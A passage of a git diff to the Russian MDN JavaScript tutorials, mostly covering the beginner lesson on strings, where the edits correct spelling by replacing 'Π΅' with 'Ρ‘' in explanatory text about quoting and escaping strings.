<li>Π’Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° <code>if</code> Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π·Π°ΠΌΠ΅Π½Ρ‹ строки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ имя Β«Π‘ΠΎΠ±Β», Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠ΅ Π² строкС <code>newStory</code>, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>name</code>. Π’ этом Π±Π»ΠΎΠΊΠ΅ ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ: «Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π²Π΅Π΄Π΅Π½ΠΎ Π² тСкстовый Π²Π²ΠΎΠ΄ <code>customName</code>, Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π‘ΠΎΠ±Π° Π² истории этим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌΒ».</li>
<li>Π’Π½ΡƒΡ‚Ρ€ΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° <code>if</code> ΠΌΡ‹ провСряСм, Π±Ρ‹Π»Π° Π»ΠΈ Π²Ρ‹Π±Ρ€Π°Π½Π° Ρ€Π°Π΄ΠΈΠΎΠΊΠ½ΠΎΠΏΠΊΠ° <code>uk</code>. Если это Ρ‚Π°ΠΊ, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ значСния вСса ΠΈ Ρ‚Π΅ΠΌΠΏΠ΅Ρ€Π°Ρ‚ΡƒΡ€Ρ‹ Π² ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ ΠΈΠ· Ρ„ΡƒΠ½Ρ‚ΠΎΠ² ΠΈ Π€Π°Ρ€Π΅Π½Π³Π΅ΠΉΡ‚Π° Π² ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΈ ΠΏΠΎ ЦСльсию. Π§Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‚Π°ΠΊ это:
<ol>
<li>ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρƒ прСобразования Ρ„ΡƒΠ½Ρ‚ΠΎΠ² Π² стоуны и Π€Π°Ρ€Π΅Π½Π³Π΅ΠΉΡ‚Π° Π² ΠΏΠΎ ЦСльсию.</li>
- <li>Π’Π½ΡƒΡ‚Ρ€ΠΈ Π»ΠΈΠ½ΠΈΠΈ, которая опрСдСляСт <code>weight</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ 300 Π½Π° расчСт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ 300 Ρ„ΡƒΠ½Ρ‚ΠΎΠ² Π² стоуны. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅Β <code>'stone'</code> Π² ΠΊΠΎΠ½Ρ†Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° ΠΎΠ±Ρ‰Π΅Π³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° <code>Math.round()</code>.</li>
- <li>Π’Π½ΡƒΡ‚Ρ€ΠΈ Π»ΠΈΠ½ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π΅ΠΉ <code>temperature</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ 94 Π½Π° расчСт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ 94 градуса ΠΏΠΎ Π€Π°Ρ€Π΅Π½Π³Π΅ΠΉΡ‚Ρƒ Π² ΠΏΠΎ ЦСльсию. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅Β <code>'centigrade'</code> Π² ΠΊΠΎΠ½Ρ†Π΅Β Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° ΠΎΠ±Ρ‰Π΅Π³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° <code>Math.round()</code>.</li>
- <li>ΠŸΡ€ΠΎΡΡ‚ΠΎ ΠΏΠΎΠ΄ двумя опрСдСлСниями ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‰Π΅ Π΄Π²Π΅ строки Π·Π°ΠΌΠ΅Π½Ρ‹ строк, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°ΠΌΠ΅Π½ΡΡŽΡ‚ Β«94 farenheitΒ» Π½Π° содСрТимоС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>temperature</code> ΠΈΒ«300 Β poundsΒ» Π½Π° содСрТимоС <code>weight</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</li>
+ <li>Π’Π½ΡƒΡ‚Ρ€ΠΈ Π»ΠΈΠ½ΠΈΠΈ, которая опрСдСляСт <code>weight</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ 300 Π½Π° расчёт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ 300 Ρ„ΡƒΠ½Ρ‚ΠΎΠ² Π² стоуны. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅Β <code>'stone'</code> Π² ΠΊΠΎΠ½Ρ†Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° ΠΎΠ±Ρ‰Π΅Π³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° <code>Math.round()</code>.</li>
+ <li>Π’Π½ΡƒΡ‚Ρ€ΠΈ Π»ΠΈΠ½ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π΅ΠΉ <code>temperature</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ 94 Π½Π° расчёт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ 94 градуса ΠΏΠΎ Π€Π°Ρ€Π΅Π½Π³Π΅ΠΉΡ‚Ρƒ Π² ΠΏΠΎ ЦСльсию. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅Β <code>'centigrade'</code> Π² ΠΊΠΎΠ½Ρ†Π΅Β Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° ΠΎΠ±Ρ‰Π΅Π³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° <code>Math.round()</code>.</li>
+ <li>ΠŸΡ€ΠΎΡΡ‚ΠΎ ΠΏΠΎΠ΄ двумя опрСдСлСниями ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‰Ρ‘ Π΄Π²Π΅ строки Π·Π°ΠΌΠ΅Π½Ρ‹ строк, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°ΠΌΠ΅Π½ΡΡŽΡ‚ Β«94 farenheitΒ» Π½Π° содСрТимоС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>temperature</code> ΠΈΒ«300 Β poundsΒ» Π½Π° содСрТимоС <code>weight</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</li>
</ol>
</li>
<li>НаконСц, Π² прСдпослСднСй строкС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ сдСлайтС свойство <code>textContent</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>story</code> (которая ссылаСтся Π½Π° Π°Π±Π·Π°Ρ†) Ρ€Π°Π²Π½Ρ‹ΠΌΒ <code>newStory</code>.</li>
diff --git a/files/ru/learn/javascript/first_steps/strings/index.html b/files/ru/learn/javascript/first_steps/strings/index.html
index 3bbdedaca4..73dcd20835 100644
--- a/files/ru/learn/javascript/first_steps/strings/index.html
+++ b/files/ru/learn/javascript/first_steps/strings/index.html
@@ -8,7 +8,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘Ρ‚Ρ€ΠΎΠΊΠΈ
<div>{{PreviousMenuNext("Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Math", "Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Useful_string_methods", "Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги")}}</div>
-<p class="summary">Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΠΌ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° строки β€” Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ части тСкста. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим всС распространСнныС Π²Π΅Ρ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΎ строках ΠΏΡ€ΠΈ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠΈ JavaScript, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, созданиС строк, <span id="result_box" lang="ru"><span>экранированиС ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ Π² строках ΠΈ объСдинСниС строк вмСстС.</span></span></p>
+<p class="summary">Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΠΌ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° строки β€” Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ части тСкста. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим всС распространённыС Π²Π΅Ρ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΎ строках ΠΏΡ€ΠΈ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠΈ JavaScript, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, созданиС строк, <span id="result_box" lang="ru"><span>экранированиС ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ Π² строках ΠΈ объСдинСниС строк вмСстС.</span></span></p>
<table class="learn-box standard-table">
<tbody>
@@ -31,7 +31,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘Ρ‚Ρ€ΠΎΠΊΠΈ
<h2 id="Π‘Ρ‚Ρ€ΠΎΠΊΠΈ_β€”_основы">Π‘Ρ‚Ρ€ΠΎΠΊΠΈ β€” основы</h2>
-<p>Π‘ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ взгляда строки ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ числам, Π½ΠΎ Π΅ΡΠ»ΠΈΒ ΠΊΠΎΠΏΠ½ΡƒΡ‚ΡŒ Π³Π»ΡƒΠ±ΠΆΠ΅, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°ΠΌΠ΅Ρ‚Π½Ρ‹Π΅ отличия. Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ с Π²Π²ΠΎΠ΄Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… основных строк Π² консоль, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с Π½ΠΈΠΌΠΈ. ΠœΡ‹ прСдоставили ΠΎΠ΄Π½Ρƒ Π½ΠΈΠΆΠ΅ (Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ эту консоль</a> Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΈΠ»ΠΈ ΠΎΠΊΠ½Π΅ ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоль Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a>, Ссли Ρ…ΠΎΡ‚ΠΈΡ‚Π΅).</p>
+<p>Π‘ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ взгляда строки ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ числам, Π½ΠΎ Π΅ΡΠ»ΠΈΒ ΠΊΠΎΠΏΠ½ΡƒΡ‚ΡŒ Π³Π»ΡƒΠ±ΠΆΠ΅, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°ΠΌΠ΅Ρ‚Π½Ρ‹Π΅ отличия. Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ с Π²Π²ΠΎΠ΄Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… основных строк Π² консоль, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с Π½ΠΈΠΌΠΈ. ΠœΡ‹ прСдоставили ΠΎΠ΄Π½Ρƒ Π½ΠΈΠΆΠ΅ (Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ эту консоль</a> Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΈΠ»ΠΈ ΠΎΠΊΠ½Π΅ ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоль Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a>, Ссли Ρ…ΠΎΡ‚ΠΈΡ‚Π΅).</p>
<div class="hidden">
<h6 id="Hidden_code">Hidden code</h6>
@@ -152,7 +152,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘Ρ‚Ρ€ΠΎΠΊΠΈ
<pre class="brush: js notranslate">var string = 'The revolution will not be televised.';
string;</pre>
</li>
- <li>Как ΠΈ Π² случаС с числами, ΠΌΡ‹ объявляСм ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, инициализируя Π΅Π΅ строковым Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, Π° Π·Π°Ρ‚Π΅ΠΌ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ЕдинствСнноС Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ здСсь Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ написании строки Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠΊΡ€ΡƒΠΆΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°ΠΌΠΈ.Β </li>
+ <li>Как ΠΈ Π² случаС с числами, ΠΌΡ‹ объявляСм ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, инициализируя Π΅Ρ‘ строковым Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, Π° Π·Π°Ρ‚Π΅ΠΌ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ЕдинствСнноС Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ здСсь Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ написании строки Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠΊΡ€ΡƒΠΆΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°ΠΌΠΈ.Β </li>
<li>Если Π²Ρ‹ Π½Π΅ сдСлаСтС этого ΠΈΠ»ΠΈ пропуститС ΠΎΠ΄Π½Ρƒ ΠΈΠ· ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ сообщСниС ΠΎΠ± ошибкС. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки:
<pre class="brush: js example-bad notranslate">var badString = This is a test;
var badString = 'This is a test;
@@ -173,10 +173,10 @@ var dbl = "Double quotes";
sgl;
dbl;</pre>
</li>
- <li>БущСствуСт ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠ°Π»ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ΄ΠΈΠ½ΠΎΡ‡Π½Ρ‹ΠΌΠΈ ΠΈ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌΠΈ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°ΠΌΠΈ, ΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊΠΈΠ΅ ΠΈΠ· Π½ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² ΠΊΠΎΠ΄Π΅ остаСтся Π½Π° вашС усмотрСниС. Однако Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΈ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ Π΅Π³ΠΎ, ΠΈΠ½Π°Ρ‡Π΅ ваш ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π΄Π°Ρ‚ΡŒ ΠΎΡˆΠΈΠ±ΠΊΡƒ, особСнно Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ Π² ΠΎΠ΄Π½ΠΎΠΉ строкС! НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:
+ <li>БущСствуСт ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠ°Π»ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ΄ΠΈΠ½ΠΎΡ‡Π½Ρ‹ΠΌΠΈ ΠΈ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌΠΈ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°ΠΌΠΈ, ΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊΠΈΠ΅ ΠΈΠ· Π½ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² ΠΊΠΎΠ΄Π΅ остаётся Π½Π° вашС усмотрСниС. Однако Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΈ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ Π΅Π³ΠΎ, ΠΈΠ½Π°Ρ‡Π΅ ваш ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π΄Π°Ρ‚ΡŒ ΠΎΡˆΠΈΠ±ΠΊΡƒ, особСнно Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ Π² ΠΎΠ΄Π½ΠΎΠΉ строкС! НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:
<pre class="brush: js example-bad notranslate">var badQuotes = 'What on earth?";</pre>
</li>
- <li>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ строка Π½Π΅ Π±Ρ‹Π»Π° Π·Π°ΠΊΡ€Ρ‹Ρ‚Π°, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π² строкС ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡΠ²ΠΈΡ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ‚ΠΈΠΏ Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ваши строки Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. Из ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΎ Ρ‡Π΅ΠΌ ΠΈΠ΄Π΅Ρ‚ Ρ€Π΅Ρ‡ΡŒ (Π² ΠΊΠΎΠ΄Π΅ ошибок Π½Π΅Ρ‚):
+ <li>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ строка Π½Π΅ Π±Ρ‹Π»Π° Π·Π°ΠΊΡ€Ρ‹Ρ‚Π°, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π² строкС ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡΠ²ΠΈΡ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ‚ΠΈΠΏ Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ваши строки Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. Из ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΎ Ρ‡Π΅ΠΌ ΠΈΠ΄Ρ‘Ρ‚ Ρ€Π΅Ρ‡ΡŒ (Π² ΠΊΠΎΠ΄Π΅ ошибок Π½Π΅Ρ‚):
<pre class="brush: js notranslate">var sglDbl = 'Would you eat a "fish supper"?';
var dblSgl = "I'm feeling blue.";
sglDbl;
@@ -189,7 +189,7 @@ dblSgl;</pre>
<h3 id="Π­ΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ_Π²_строках">Π­ΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ Π² строках</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΡˆΡƒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ строку ΠΊΠΎΠ΄Π°, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠ½ΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ° Π² сСрСдинС строки Π½Π΅ являСтся ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ Π΅Π΅ ΠΊΠΎΠ½Ρ†Π°. Π­ΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ символов ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ с Π½ΠΈΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°ΡŽΡ‚ΡΡ 